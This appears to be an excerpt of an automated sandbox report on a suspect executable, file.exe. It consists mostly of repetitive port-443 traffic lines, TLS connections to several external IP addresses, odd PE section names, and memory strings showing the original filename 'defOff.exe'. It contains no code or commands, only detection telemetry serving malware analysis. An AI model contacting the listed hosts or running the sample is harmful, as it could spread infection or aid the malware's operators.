Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443

Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.7:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.84.141:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49932 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.1570167440.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575316958.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1578349331.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569890193.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1571148846.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572788168.0000000005B51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1577522164.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573742585.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568058661.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1581842233.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582754445.0000000005C9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573099621.0000000005B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568655981.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1566384968.00000000057A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1572362509.0000000005B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1580921441.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1573253141.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575970317.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574679629.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575657636.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1582431414.0000000005C98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1575037479.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1574561735.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1569150008.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1568755136.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
